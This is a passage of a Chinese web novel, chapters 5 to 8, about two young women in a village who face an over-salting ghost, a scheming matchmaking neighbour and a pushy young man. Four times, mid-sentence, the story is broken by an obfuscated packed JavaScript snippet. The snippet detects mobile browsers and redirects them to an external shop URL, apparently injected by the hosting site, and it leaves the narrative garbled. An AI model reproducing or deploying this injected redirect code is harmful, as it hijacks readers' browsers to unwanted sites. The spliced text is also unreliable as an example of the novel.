陆珈珈没放开拉着崔茸的手,小声道:“你刚才没听见吗?” 崔茸心里一凉:“听见什么?” 陆珈珈的声音依旧是又轻又飘:“就我跟你说完我也听不懂后,我就听到一个女声在抱怨,说年年都是这几折子戏,还不如给她们放个电视剧呢。” 当时戏台下除了她们仨,哪里还有别人呢! 来到了陆大强家门口,陆大婶扑上来要拧他的耳朵,又急又气:“你个小兔崽子,之前天天不着家乱跑就算了,今天也不看看是什么日子,还在到处乱跑,看老娘不扭断你的耳朵!” 一米八多的陆大强被不到一米六的陆大婶打得乱窜,这场面很是喜感。 陆大婶皱眉问:“这臭小子又带你们去哪了?别说今天日子不寻常,就算平时,你们两个小姑娘,天黑了也该锁上大门。咱们村虽然都是自己人,但保不齐就有心思坏的,也是为了你们名声好。” 陆珈珈吓得不轻,此刻脚还是软的,“婶子刚才我哥带我俩去看戏了,这真是村长组织的吗,怎么一个人都没有呢?” 陆大婶脸色狠狠一变,又掐了陆大强几下,咒骂道:“你自己要死还不够,还要带上别人一起。那的确是村长组织的,但是可不是让人去看的,今晚鬼门大开,那是在唱鬼戏呢。” 陆珈珈本就雪白的脸色变得更白了,崔茸能感受到她握着的那只手出了很多的汗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167011|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆大婶让她们俩也别先回去,自己进院子先去准备火盆,让她们跨过去去去晦气。 陆大强却突然一本正经道:“刚才明明有很多人的啊,大家都穿得好漂亮,还有人在那里荡秋千呢。你们没看到吗?” 陆珈珈尖叫起来,院子里传来陆小丽的咒骂声音:“要死啦,大晚上鬼叫什么?” 陆大婶端着火盆出来,铁盆里放了半盆炭燃烧得正旺,她笑着安慰道:“珈珈你这孩子,不是我说你,你哥他是傻的,他说话你都信啊?” 她把火盆放到地上,让三个人依次跨过去,“回去洗个澡好好睡一觉,明天起来就没事了。” 陆珈珈点点头,回到自家第一句话就是“我们的命真的好苦。” 崔茸原本也在胆战心惊,听了陆珈珈这话又有点想笑了。 “又是这句话,什么都能跟命苦联系上。别怕不做亏心事不怕鬼敲门,我们俩连只鸡都没杀过,怎么也轮不到我们头上来。” 陆珈珈哭丧着脸:“我们俩是没杀过鸡,可没少吃过鸡肉啊,不光是鸡肉,还是猪肉牛肉羊肉各种肉……” 崔茸:“停停停,又说到哪儿去了。你之前不是跟我说过吗?这个村子都是沾亲带故的,就算真的有鬼,说不定还要照顾你这个后辈呢。别瞎想了去洗个澡赶紧睡觉吧。” 陆珈珈点点头,神情看着还有几分恍惚,都拿好了衣服又停住脚步:“你跟我一起洗吧,一个人我害怕。” 崔茸巴不得如此,她嘴上说得大义凛然,其实心里也忐忑着呢。 陆家的浴室虽然是在院子里,但同样很简陋,有屋顶,但连陈年木门都没有,只用一块塑料布遮着。 陆珈珈父母早死,家里经济水平自然是比不上村里其他人。 这小苦瓜确实是命挺苦的。 她的感伤还没有结束,挤在狭小室内的陆珈珈就露出了猥琐的微笑:“哇塞崔茸你身材好好啊,肉都往该长的地方长,快让姐妹儿摸摸你这小细腰。” 得,崔茸收回之前的感伤,陆珈珈大概是个草履虫,什么都来得快去得也快。 外头的风突然大起来,吹得塑料帘子哗哗作响,两人都吓了一跳,不再嬉闹,匆匆将身上泡沫洗干净,套上睡衣离开。 5. 第 5 章 次日中午,崔茸照镜子的时候吓了一跳,眼下的两个黑眼圈很是夸张,倒是昨天一直瑟瑟发抖的陆珈珈,一觉醒来精神饱满得很。 崔茸不禁想起刚来的时候,两人骑着电动车牵着大黄撒欢,那段时候天气还没有完全热起来,有群坏蛋骑着摩托车偷狗,见到狗就扎支针,在狗失去反抗能力后用锁链套上脖子直接拖走。 那段时间村里的人家也都不让狗乱跑了,都拴在自己家,大黄好不容易出去一趟,可劲儿得跑,跑到了村子另一头的农田, 那片土地面积不大,还没有被草莓大棚和鸡场占领,绿油油的不知道种的是什么农作物,短短的一层还没到膝盖,里面没有人高的土包就分外明显。 崔茸本来还疑惑这是什么,从陆珈珈嘴里得知这是坟包之外大惊失色:“把人当肥料用吗?” 陆珈珈很是无语:“你这是什么鬼想法,之前还没普及火葬的时候就这么埋的。” 崔茸看着那一个个高矮不一的土包,心里还有点毛毛的,陆珈珈看得开,还劝她“这没什么好怕的,都死了不知道多少年了,我们村从来没听说过一件闹鬼的事。” 被她的见怪不怪的态度感染,崔茸竟然也觉得这不是什么大不了的事情了,今天却又突然想起,昨天陆大强看到的,还有跟陆珈珈说话的,该不会就是里面哪一位吧? 今日午饭吃的很丰盛,两个人四菜一汤,每个都是都是硬菜,只有紫菜蛋花汤最显潦草。 陆珈珈很爱吃肉,崔茸很能理解,在她和家里父母吵翻那年,从家里拿不到生活费,只能靠课余时间打零工赚点饭钱,连续几天都吃泡面是正常事,想到肉就馋得流口水。 打工也不是那么容易的。 大学生最轻松简单的活是家教,但好巧不巧,她上的大学旁边就有一所很有名的师范大学,同样的价格,谁都会选择更专业的。 大学生说清闲是真的清闲,但说忙也是真的忙,课虽然不像是高中那样排得满满当当,但总有这样那样的小组作业和课外活动,宿舍又有早晚门禁。 这样一来,能兼职的地方就只有学校食堂,但弊端也很明显,工资太低,还有的只管一顿饭不发工资的,崔茸宁愿周末去外面打工,这样还能多赚一点钱,各种活动能不去就不去。 好在这样的苦日子她只过了一年,就找到了还算不错的长期兼职,又遇到了池鹤这个可以蹭饭的冤大头。 崔茸吃下去第一块红烧排骨,就又吐了出来,“咱家真是打死卖盐的了?” 陆珈珈这次没尝,有上一次前车之鉴,她相信了崔茸的话,幽幽叹口气,一张小学生脸皱得像包子:“我觉得好像真的有脏东西盯上我们了。” 崔茸四个菜一一尝过,每尝一个吐一个,只有紫菜蛋花汤是可以喝的。 再到厨房一看,前不久刚买的四袋盐此刻就只剩下了一袋,除非真的是陆珈珈得了老年痴呆,不然只有一个可能了…… 崔茸:“这脏东西行为还挺独特,它是准备齁死我们吗?” 肉是没法吃了,昨天买的咸菜还有,两人又过上了大学时的朴素生活,一碗白饭,学校食堂免费的汤,一碟咸菜。 由俭入奢易,由奢入俭难,吃完这顿饭,陆珈珈都要流眼泪了,“这脏东西也太不地道了,它自己吃不到就不让我们吃,生前也绝对是个十恶不赦的人。” 正在两人想着如何解决这事儿时,陆大婶又主动来敲了她们的大门。 陆珈珈生日的事情,陆大叔生气了,就算遇见也不给她们俩一个眼神,陆大婶倒是没放在心上的模样,对待她们俩还是像往常一样。 一开门,她没有像以往那样寒暄,直奔主题:“珈珈,小崔,快跟我走。你们昨天不是遇到了那事儿吗?村西边给人看事的大妹子今天有空,正好你们都过去去去邪气。” 这可真是瞌睡就有人递枕头,崔茸和陆珈珈急忙换上出门的衣服,跟在陆大婶后面走。 她们将要去拜访的这位,按照亲戚辈分,陆珈珈要喊一声三姑,比陆大婶小不了几岁,却一辈子没有嫁人。 这在大城市或许很稀松平常,但在陆家镇这几个村子,可是了不得的大事。 但因为她神神叨叨的身份,非但没人说三道四,最爱嚼舌根的大爷大妈们也都口下留德,心怀敬仰之心。 一进去陆三姑的院子,就看到一个人蹲在哪儿扎纸人。 崔茸今天没戴眼镜,走进了才看清这人是谁,就是那日花圈店遇到的那个人。 那人也认出来了她们,一脸惊奇:“怎么是你们?” 陆大婶让陆大强提来的一箱纯牛奶和一箱六个核桃放下,陪着笑道:“这可真是巧,我们珈珈和小崔一直在外边,可刚回来没多久,能认识也是有缘了。” 话音刚落,屋里走出来一个人,应该就是那位会看事的陆三姑了。 她穿一件青绿色肥肥大大的袍子,看起来只有三十多岁,一双眼睛神采奕奕,还真有几分世外高人的飘忽感觉。 陆大婶立马迎上去:“大妹子,这可得麻烦你了。” 她拧一把站在旁边的大强,“都怪这臭小子,昨晚居然带着两个妹妹去看田头的鬼戏,这臭小子还说看到密密麻麻好多人,您看看这该怎么办呢?” 陆三姑盯着三人仔仔细细看了一圈儿,不光是陆大婶屏住了呼吸,就连崔茸也大气都不敢喘,生怕对方说出来自己被厉鬼缠上了之类的话。 好在陆三姑说出的不是坏事,半晌过去,她微微一下,安慰道:“没事的,几个孩子都是有福的,回去多晒晒太阳就好了。” 陆大婶这放下心来,嘴里感谢连连。 怎么可能没事! 崔茸连忙打断道谢流程:“不对吧,可是我们昨晚回去后,确实遇到了一些怪事。三姑,您能不能再仔细给我们看看?” 陆三姑却并未把她的话当成一回事,只是飞快打量了她一眼就收回视线,狭长的眼里满是笑意:“小姑娘胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167012|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子小,一时疑神疑鬼也是有的,不用担心,把心放宽该干什么干什么就行了。” 崔茸心里无语,这个陆三姑看来是有名无实糊弄人的,几人回去后,正好遇到陆小丽拎着个行李箱子。 陆大婶忙道:“不是说晚上的车票,怎么这么早就走?” 陆小丽不耐烦道:“我跟我朋友约好了,先去市里玩一圈再走。” 说罢,陆大叔开着电动三轮出来,他还记着仇,看见了陆珈珈和崔茸,连老婆和儿子都不搭理,等陆小丽和行李箱都上了车,就开着电动三轮扬长而去。 崔茸心里有些奇怪,现在才八月半,大学基本上都是九月份才陆陆续续开学,陆小丽怎么这么早就去了?宿舍给住人吗? 但她和陆小丽不怎么熟,这疑问就烂在肚子里,没准备说出来。 陆大婶道:“这爷俩走了,我一大早鸡都杀好了,珈珈和小崔都过来一起吃。” 陆珈珈忙道:“不用了婶子,我们吃过午饭了。” 听见她们如此说,陆大婶也不勉强,又突然问道:“小丽上大学去了,你们是今年毕业了吧?准备啥时候回去啊?咱这小地方,根本就没有适合你们大学生的工作呦。” 陆珈珈正在吃陆大强分的棒棒糖,说话有几分含糊不清:“不着急,这里才是我老家,说不定就留一辈子了呢。” 陆大婶嗔怪道:“好不容易考上的大学生,咋能这么没志气,就甘心窝在这小地方?你不走,小崔可是大城市的姑娘,怎么可能一直待在这?” 崔茸道:“我觉得这里挺好的啊,空气好无污染,天都比城市里的蓝,我还真想待在这一辈子呢。” 她说的其实都是客套话,等她能为所欲为花钱了,肯定是要去城市里花天酒地的,农村还是太无聊了。 陆大婶听了,不再说话,只是若有所思看了崔茸一眼,又对着还在拍手傻笑的陆大强道:“好了好了又吃糖,再吃牙齿都烂掉了,赶紧回家去洗手准备吃饭。” 崔茸和陆珈珈转身回家,等到家里后,崔茸才和她吐槽:“你婶子刚才看我的表情好奇怪。” 陆珈珈挠挠头:“有吗?我没注意。” 她把心思都放在了陆三姑上:“陆三姑说我们什么事都没有,你觉得呢?” 崔茸道:“我觉得这个人就是个江湖骗子,其实根本没什么本事,招摇撞骗罢了。” 陆珈珈一脸凝重点点头:“我也觉得是这样。” 她们俩嘟嘟囔囔还没讨论出来个所以然,就看到一只猫大的老鼠从电视柜底下窜出来,陆珈珈先看到,尖叫起来:“有老鼠!” 崔茸背对着,并未第一时间看清老鼠真容,还有心情嘲笑陆珈珈:“你什么时候还怕起来老鼠了?” 大一的时候住的是老宿舍楼,里面老鼠蟑螂可是常客,怎么也消灭不了。 陆珈珈道:“我是不怕老鼠,但你转头看看,那还是个普通的老鼠吗?那么大一个,估计都成精了!” 6. 第 6 章 崔茸这才转头,果不其然也被吓了一跳:“我去,这么大个!” 趁着两人愣神的功夫,那老鼠也不怕人,大摇大摆走到客厅没收起的垫子上,蹲下,一滩黄色的液体自它身下蔓延开来。 挑衅,这完全就是赤裸裸的挑衅! 崔茸怒从心起,随手抓起拖鞋就朝它砸过去。 大老鼠也不恋战,仿佛就是单纯来上厕所的,躲过拖鞋攻击,往沙发底下一钻,等到崔茸单脚跳着去移开沙发时,已经不见踪影了。 现在连一只老鼠都要骑她们头上去了? 看着垫子上那团尿渍,两人都嫌弃得要命,陆珈珈拎起来拿到外面垃圾桶扔了。 再回到房间里,开头第一句话就是:“我们的命真的好苦,现在连老鼠也要对我们作威作福了。” 崔茸冷笑道:“别的东西我们对付不了,一只老鼠还对付不了吗?走,去街上买老鼠药、老鼠夹、老鼠粘板,我就不信,它还真成精了。” 她的拖鞋在刚才的战争中光荣牺牲了,也要重新买一双。 沾了老鼠尿的鞋子,她可不要再穿。 出门的衣服还穿在身上,也不用再换,崔茸也等不到晚上,马上就要准备出门,就算别的店铺不开门,最大的那间超市也是开门的,就是路上实在太热。 她正从衣柜里找防晒衣,就听到外面尖锐的喇叭声,匆匆忙忙找到长袖防晒衣穿上到外面一看,红白色摩托车上,一副浪荡不羁姿态跨坐着的正是花圈店老板,那个一头灰白头发的年轻人。 看见崔茸出来,他从摩托车上下来,脸上绽放出一个笑,“嗨,第三次见面了。” 好轻浮。 这是崔茸此刻的第一感觉。 如果是以往,她一定会让他赶紧滚,但现在,非常时刻,她压下心中不耐,语气平和地问道:“你有什么事吗?” 白头发笑道:“没事就不能来找你吗?我叫陆奇文,你叫什么?” 这完全不像是一个高人该说的话了,更像一个搭讪的小混混,配上他那还在突突突乱叫的摩托,就更像了。 崔茸冷下脸:“你要是没事的话,就不要堵在我们家门口,我们现在要出门。” 陆奇文倒也没有继续胡搅蛮缠,很识趣把摩托车移开了,等小路一被让出来,崔茸立马让陆珈珈坐好,拧着车把手就冲了出去,只听到陆奇文在后面喊:“你们什么时候回来啊?” 崔茸才懒得理。 天地好像一个天然蒸炉,哪怕是带了遮阳的帽子身上也穿了防晒外套,裸露在外边的头顶也暖烘烘的,感觉打个鸡蛋下去就能熟了。 一进去超市,冷气扑面而来,崔茸才感觉自己活了过来,她摸摸自己的头顶,果然烫手,路过玻璃墙时,看到发根又长出来了新的头发,“你说我是继续漂金发还是换黑发啊?” 陆珈珈看也没看:“继续漂吧,金发多漂亮呀。不过再等等,出了农历七月再染吧,我们这儿七月不能动头发。” 崔茸只知道正月剃头死舅舅,没想到还有七月也不能动头发的风俗。 没过两分钟,陆珈珈又改了口:“你还是别染了,我们这儿托尼老师手艺实在不怎么样,把你头发弄坏了你哭都没地方哭去。” 崔茸一想觉得也对,之前漂了两次,趁着这个时间养养也不错。 超市里并没有卖老鼠药的,只有对付老鼠的粘板,崔茸一下子把剩下的都包圆了,准备在家里到处都放上,看那只死老鼠还能嚣张得起来吗? 一出超市的玻璃大门,热浪铺天盖地袭来,电动车的皮质座位经过十几分钟的暴晒,此刻和烙铁无异。 崔茸坐上去的时候做了好久的心理建设,依旧是差点跳开。 她本来是想在街上随便找个小饭馆吃一顿的,但现在是三点多,这个时间点根本没有饭馆开门,只有路边卖凉皮的阿姨还支个摊苦苦坚守。 崔茸和陆珈珈买了两份凉皮,最快速度往家里赶,门口骑摩托的陆奇文已经不在了。 在空调的习习凉风下休息了一会儿,缓过来就将刚买的粘板撕开,二十几个放得满屋都是。 等忙活完一切,崔茸才坐下来吃凉皮,老板很大方,六块钱一份用塑料袋装着,倒出来满满一大碗还冒着尖,上面的黄瓜丝一看就很新鲜,还有大把的花生碎和芝麻酱,再加上红彤彤的辣子,一看就让人食欲大开。 崔茸刚送进嘴里,就飞快又吐了出来:“好咸!” 坐在她对面的陆珈珈已经拿着筷子呼哧呼哧吃了小半碗,诧异抬起头来:“也不咸呐。” 崔茸伸长脖子去尝了尝她的,味道刚刚,当即气的跳脚,“这到底是哪家的死鬼啊,就跟我过不去了是吗!最好被让我逮住他,要不然我一定让他下油锅!” 陆珈珈捂住她的嘴:“姑奶奶别骂了,要是真惹急了,把我们俩往死里整怎么办啊?” 她用凉皮堵住了崔茸的嘴,她终于才安静下来。 既然如此,晚饭也用不着做饭了,反正最后都会变为咸菜。 趁着天色还没有完全暗下去,两人都准备赶紧洗完澡。 家里来了鬼,这鬼还挺有个性的,不谋财不害命,就喜欢给人菜里加盐,虽然讨人厌,但好像并没有什么杀伤力,还有点喜剧色彩。 这夜依旧是无事发生,因为垫子被丢了,两人也不敢再在客厅打地铺,万一死老鼠半夜再跑出来在她们身上乱跑怎么办? 这鬼天气没有客厅是万万不行的,两人只能一人占据一个沙发,这沙发长度只有一米五左右,崔茸和陆珈珈都是一米六五的身高,睡着不太舒服。 外头天阴沉沉的,这次和之前来得急去得也急的大雨不同,天气预报说要下整整三天,现在雨滴还没落下来,空气中充满着燥热因子。 等到傍晚,雨终于落了下来,终于迎来了久违的凉意。 这场雨直下了三个多小时,直到快八点的时候才终于小了下来,由瓢泼大雨变成了毛毛细雨。 院子外边传来陆大强兴奋大叫的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167013|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔茸不得不羡慕,傻子好像就很快乐。 陆珈珈担忧地看着出水口:“这么大的雨要是真的下三天,水肯定会漫到院子来的。” 崔茸不明白这有什么好担心的,还有心情开玩笑:“我们家里有米有面的,还有自热火锅和螺蛳粉,不用担心出不去断粮。” 陆珈珈白了她一眼:“你是不是傻,我是担心外头的蛇会顺着水游过来,你不怕那玩意?” 崔茸当然怕! 老鼠最起码是毛绒绒的,蛇一看就令人胆颤。 她咋舌:“你们这儿还有蛇啊?” 陆珈珈道:“当然了,我之前遇到过两次呢,一次是在我小学五年级的时候,一次在我初二,可把我吓一跳。” 崔茸暗下决心,在这场雨还没结束之前,她都要待在屋子里,夜晚更是绝对不会出来一下。 雨小了下来,风却又起势了,夹杂着雨水拼命敲打着窗户,像是土匪想来打家劫舍似的,不一会儿玻璃上就都是水痕。 崔茸坐在沙发上看着窗户外的雨发呆,陆珈珈咯吱咯吱吃薯片的声音像个小老鼠。雨丝极细,如烟似雾,头顶的乌云并没有散去,始终笼罩着院子。 不知道过了多久,她终于回过神来,玻璃床上的简单笑脸正对着她。 她几乎要从沙发上摔下来。 陆珈珈被她发出的动静吸引:“怎么了?” 崔茸指着玻璃窗上面的笑脸给她看:“你看呐,窗户上莫名其妙就出现了这个!” 陆珈珈也吓了一跳,但马上就庆幸道:“太好了,不是像恐怖片里一样用血画的死字。它画个笑脸什么意思?该不会是一只鬼太孤独了,所以想和我们当朋友吧?” 崔茸是真想掐死眼前这个陆珈珈:“你疯了吧,人家是鬼,怎么可能会想和你当朋友啊?” 她顾不得还刮风下雨,把窗户打开,抽出几张卫生纸,将玻璃上的笑脸图案擦得一干二净,再把窗户关上,心情跌倒谷底。 看到笑脸符号,唤起来了不少回忆。 她以前故意气池鹤,气完之后就会故意画个笑脸图案。 虽然她是图池鹤的钱和色,但他也绝对不是什么正人君子,重逢后见第一面就色眯眯盯着她不放。 眼前这只没事就给菜里加盐的鬼该不会就是池鹤吧? 这个念头刚一出来,崔茸自己就笑了。 池鹤今年才二十二岁,体检每年都做,他家里又那么有钱,他妈还把他当宝贝疙瘩,他怎么可能这么年轻就死了呢? 不过在自己拿了八千万打电话和他宣布分手时,他在电话里的确是这么说的: “你答应过我的,一毕业就结婚。” “现在反悔了想分手,门都没有。” “你跑吧,你有本事就跑。” “我就算做鬼也会去找你的!” 气话而已,不能当真。 人生百年,他们的余生还有很长很长,一场恋爱而已,时间久了就忘记了,算不得什么。 7. 第 7 章 真如天气预报所说的那样,这场雨下了整整三天,门口的道路被淹了,水位到小腿,家里的院子也积了一层水,但只到脚踝。 这三天,崔茸能不出屋就不出屋门,生怕院子里会真的出现一条水蛇。 还有那只老鼠,不知道是搬家了还是隐藏的太好,再也没看到它的影子。 几乎可以确定家里有个喜欢恶作剧的不明生物存在,但崔茸和陆珈珈两个人却没什么特别反应,主要还是因为这位不知名姓的鬼并没有表露出太大恶意。 崔茸想得很开,这天底下每一块土地是都是死过人的,真有鬼的话也到处都是,何况家里也没有害人的意思,可能是个死的时候还是个小孩吧,所以比较幼稚。 陆珈珈倒是很害怕,但她的害怕只流于表面说说,嘴上说着“家里闹鬼好害怕”,其实吃嘛嘛香,睡得也香,一点儿也看不出害怕的样子。 雨停了,乌云散了,太阳终于摆脱了束缚挂在头顶,门口的积水还未消散,隔壁的陆大婶积过来串门了。 崔茸对这个热心肠的大婶印象倒不是很坏,她怎么说也是陆珈珈的亲戚,没有将人拒之门外的道理。 可这家常唠着唠着,就渐渐不对劲了。 陆大婶先是问陆珈珈:“珈珈啊,你这四年都在大城市,大学里优秀男孩子很多的,有没有遇到喜欢的啊?” 陆珈珈:“婶子你又不是不知道,我大学过得可忙了,一边学习一边打工的,哪里有时间谈恋爱啊?” 陆大婶表示惋惜:“那太可惜了。你今年虚岁都二十五岁了,我在你这个年纪啊,都把你大强哥生出来了。” 陆珈珈噎了一下:“我春天才过二十二岁周岁生日。” 陆大婶只道:“哎呦呦,又不是做数学题还要算的那么清楚,你妈去得早,有些话只能婶子跟你说。我们女人呐,一过了二十岁,二十二岁和二十五岁没什么区别的。前几天还有好几个人问我打听你呐,趁着现在年轻,生孩子也好恢复,上班那些什么的,要往后排排,成家立业,先成家后立业呐。” 陆珈珈这是被催婚了? 崔茸上一秒还在幸灾乐祸偷笑,下一秒就听到陆大婶把话题转移到了她身上:“小崔有没有男朋友啊?你这么漂亮,肯定有不少条件好的男孩子追吧?” 崔茸只能道:“也没有,可能是缘分还没有到吧。” 她想敷衍过去,陆大婶却不是这么想的。 “你前几天不是说,喜欢咱们这里空气好吗?要不然考虑一下咱们这里的男孩子?” 崔茸尬笑道:“您别开玩笑了。” 陆大婶道:“我这咋是开玩笑呢,你们年轻女孩子脸皮薄我知道的,婶子我也就不跟你拐弯抹角了。我看这两天,你跟大强相处也挺好的,你觉得他咋样?我家大强呢是不太聪明,但人长得不孬,脾气也好,也肯干活……” 话还没说完,就被陆珈珈打断:“婶子你胡说八道什么呢?大强哥脑子有问题啊。” 陆大婶没有恼怒,看了一脸震惊的崔茸一眼:“那不都是小问题吗?嫁汉嫁汉,穿衣吃饭,不是婶子自夸,镇上老王家的闺女,村西边的孙寡妇,还有几个小丫头,都觉得你哥好,对你哥有意思呢。小崔和你关系这么好,再嫁到我们家,那不就是亲上加亲吗?” 趁她说完这一大段话的功夫,崔茸终于缓过神来,脸上铁青:“你的傻儿子那么受欢迎,你就让他多娶两个进来,不要打我的主意。” 从小马扎上站起来,她语气强硬:“赶紧滚吧你,再不滚,我可拿扫把轰你出去了。” 陆大婶脸色也不太好,出门的时候嘴里还嘟囔着:“你还清高上了,看你这副打扮,一头黄毛不伦不类的,谁家好姑娘是你这样,指不定是谁配不上谁呢……” 她一走,陆珈珈立马把铁门关上,发出“砰”的一声,可见她用了多大的力气。 陆珈珈走到屋子里,因为暴雨温度下降不少,她从冰箱里拿出一瓶可乐递给崔茸,气愤道:“真是知人知面不知心啊,我还以为我这个婶子是好人呢,没想到却藏了那么恶心的主意。我对大强哥没什么意见,可他到底是个傻子啊,她脑子里到底是怎么想的啊!” 崔茸思考片刻才道:“你婶子被拒绝了不会做出来什么事吧?就我们俩这武力值,连逮只鸡都费劲,真的是手无缚鸡之力啊!” 陆珈珈有些哭笑不得:“你想什么呢,我们这里是农村,但不是偏远山区的农村,扣着你不让走的事情,村里人干不出来。现在这情况,家里有个死鬼,旁边还有人意图不轨,要不然我们还是走吧?” 崔茸犯难:“可是怎么走呢?我要是用身份信息买车票,肯定会立马被查到,再说了我们又能去什么地方吗?总不能出国吧,我可过不惯国外生活。要是去别的偏僻地方,恐怕还不如这里,这里最起码是你老家,你还有认识的人。” 陆珈珈沮丧点点头:“你说得对,你那个男朋友真是绝了,明明都分手了,怎么还是个蚂蟥一样咬着你不放?” 崔茸好笑道:“你前两天不是还说他好,劝我和他地下恋的吗?” 陆珈珈理直气壮:“此一时彼一时啊。” 两人讨论半天,还是没讨论出来结果,今天傍晚的时候又出了意外,家里这个喜欢恶作剧的鬼在大雨三天里都很老实,今天终于忍不住了,又在陆珈珈的饭碗里倒了不知道多少味精,那味道真是绝了。 吃完晚饭,温度又开始上升,到了三十四度三十五度左右,门口的道路又露了出来,上面的积水只有浅浅一层了。 这时又迎来了第二位客人,是开着摩托的陆奇文。 他今天穿了一件宽松的花衬衫,短裤和人字拖,更显得流里流气的。 崔茸也不算是乖乖好学生,但从小就讨厌这种混混一样的男的,说话更不客气起来:“跑我们家门口来按喇叭,吃饱了撑的吧你?” 陆奇文脸皮很厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167014|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被这么骂了也没有生气,依旧是嬉皮笑脸的:“我还没吃呢,怎么可能撑着?你吃了吗?我请你吃饭呗。” 崔茸道:“想请我吃饭的你多了,你先去排队吧你。” 陆奇文道:“行啊,你说说排到哪天了,我等着。” 崔茸:“排到下辈子了,你先去投胎吧。” 崔茸怀疑陆奇文有特殊癖好,被这么不客气的骂了,他依旧不生气,反而笑得更加开心:“哈哈哈,你说话真有意思。” 崔茸想接着骂他,还没来得及开口,就听陆奇文道:“好了不逗你了,你之前不是来找我姑吗?实话告诉你,我姑其实没啥本事,只会扎花圈扎纸人,她的那些事迹都是糊弄镇上人的。” 崔茸很讨厌他这嬉皮笑脸的态度,但听他这话意思,好像是认识真正的懂行的人。 有求于人,她只能稍微软和下态度:“你认识有真本事的人?” 陆奇文将摩托停在门口,走到她面前说话:“算是认识吧。” 崔茸语气又冷下来:“什么叫算是认识?认识就是认识,不认识就是不认识,你说算是认识,该不会又是在耍我玩吧?” 陆奇文耸肩:“这次可真不是。我不信这些,你们这些大城市来的,居然还信这些,我也是挺奇怪的。” 崔茸冷哼道:“我原来是不信的,可事实由不得我不信。你不信这些,又说认识真有本事的人,不是拿我寻开心吗?” 陆奇文连连摇头:“唉,真跟你说几遍了,我是认真的。我这老姑虽然没本事,但老跟白事打交道,怎么也会认识几个人。” 崔茸:“那你姑怎么不介绍给我们认识?” 陆奇文哈哈笑道:“你们只说家里闹鬼,但哪里有鬼这么无聊,没事给你饭里加盐的?别说是我姑了,是人都不会信。至于田头看戏那事儿说起来倒有些邪乎,但陆大强又是个傻子,傻子说的话谁会信?” 崔茸道:“你既不相信我们家里闹鬼,又不相信陆大强的话,那你还愿意给我们牵线搭桥?” 陆奇文:“怎么不愿意?你长得好看,有机会和你搭讪我肯定干啊。从第一次在蛋糕店门口,我就想跟你搭话来着,但你脾气这么大,根本不理我呦。” 崔茸很是无语:“你这个人还真是脸皮厚。” 顿了一顿又道:“你愿意帮忙谢谢你了,但别的主意你还是不要打了,你这样的,完全不是我的菜。” 陆奇文:“话别说的这么早啊,你又没吃过我这盘菜,怎么就知道不好吃?” 崔茸翻了个白眼:“你先说,你认识什么人,又怎么联系呢?报酬是多少?” 陆奇文还没说话,陆珈珈湿着头发冲到门口,家里只有太阳能,前三天大雨,只能用电水壶烧水擦拭一下,今天终于出现了太阳,可以痛痛快快好好洗个澡了。 她很是生气:“奇文哥,我们小时候还在一起玩过呢,崔茸是我朋友,你不要老是纠缠她。” 8. 第 8 章 陆奇文道:“我哪里是纠缠她,我这是帮你们的忙好吗?” 陆珈珈看向崔茸求证,崔茸点头:“他说他认识真正懂行的人,可以帮我们介绍。” 刚被味精齁到的陆珈珈眼睛一亮,这鬼虽然不害命,但也太过讨厌,当然是能赶走最好。 她朝着陆奇文讪笑:“那真是太谢谢你了,我早就知道,你从小就靠谱,绝不是那种纠缠女孩的人。” 陆奇文半晌才道:“你倒还是和小时候一样,脸变得比翻书还快。” 陆珈珈不好意思笑笑,和陆奇文虽然血缘关系已经淡出三代,但他们这儿的规矩,同姓就是本家,陆奇文又只比她大一两岁,算是同龄人,小时候一起玩过,她就更不会拿他当外人了,随意用肩上的毛巾将头发包起来,“那我们进去说啊,在门口杵着干什么?” 树叶上还都是水,一阵风吹来,就窸窸窣窣浇人一身。 陆奇文却拒绝了:“不用了,天马上就黑了,你们家只有两个年轻女孩,我要是进门了,村里的大爷大妈又不知道该造多少谣,我也该回去了。” 